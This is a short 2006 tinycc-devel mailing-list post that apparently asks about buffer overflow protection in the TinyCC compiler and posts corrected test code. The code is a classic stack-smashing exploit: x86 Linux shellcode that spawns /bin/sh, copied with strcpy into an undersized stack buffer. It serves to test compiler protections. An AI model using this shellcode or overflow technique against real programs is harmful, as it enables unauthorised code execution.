tinycc-devel
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Tinycc-devel] Buffer overflow protection ?


From: Xushi
Subject: [Tinycc-devel] Buffer overflow protection ?
Date: Mon, 11 Dec 2006 19:37:10 +0000
User-agent: KMail/1.9.5

Edit, sorry, typed too fast,

Here's the correct code,

=============================
char shellCode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char largeString[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) largeString;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellCode); i++)
    largeString[i] = shellCode[i];

  strcpy(buffer,largeString);
}

=============================

-- 

Xushi
><ushi.co.uk




reply via email to

[Prev in Thread] Current Thread [Next in Thread]